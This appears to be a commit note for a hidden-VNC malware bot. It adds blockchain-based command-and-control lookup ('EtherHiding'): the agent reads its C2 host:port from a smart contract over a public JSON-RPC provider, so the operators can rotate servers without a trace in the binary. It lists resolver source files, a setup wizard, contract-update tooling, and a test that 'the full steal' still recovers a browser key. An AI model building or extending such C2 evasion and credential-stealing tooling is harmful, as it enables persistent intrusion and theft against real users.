The agent resolves its C2 endpoint from a resolver contract on a public
chain via eth_call (free, read-only), so the compiled binary carries no C2
address; rotating the C2 is one contract call and every bot picks up the
new value on next start. Pattern per the 2026 Remus analysis: eth_call
with the get() selector (0x6d4ce63c) against a public JSON-RPC provider,
the endpoint stored as a bytes32 host:port. Any failure falls back to the
compiled endpoint.
- src/transport/etherhiding.cpp/hpp: eth_call resolver, bytes32 decode,
host:port parse, WinHTTP POST with hard timeouts
- agent: resolves before the argv/env override so an explicit endpoint
still wins; HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT env vars override
- setup.py: CHAIN_RPC / CHAIN_CONTRACT options; the guided wizard asks for
the resolver under TCP; the summary and recreate line carry them
- tools/etherhiding.py: read (stdlib) and update (web3 optional, explorer
instructions otherwise); contract source included, deployed via Remix
- verified: selectors checked against a real keccak implementation,
contract compiles with solc 0.8.19, wizard and non-interactive flows
emit the config end to end, mock RPC positive/negative tests, live
HTTPS RPC probe degrades gracefully, and the full steal still recovers
the v20 key through the chain-resolved agent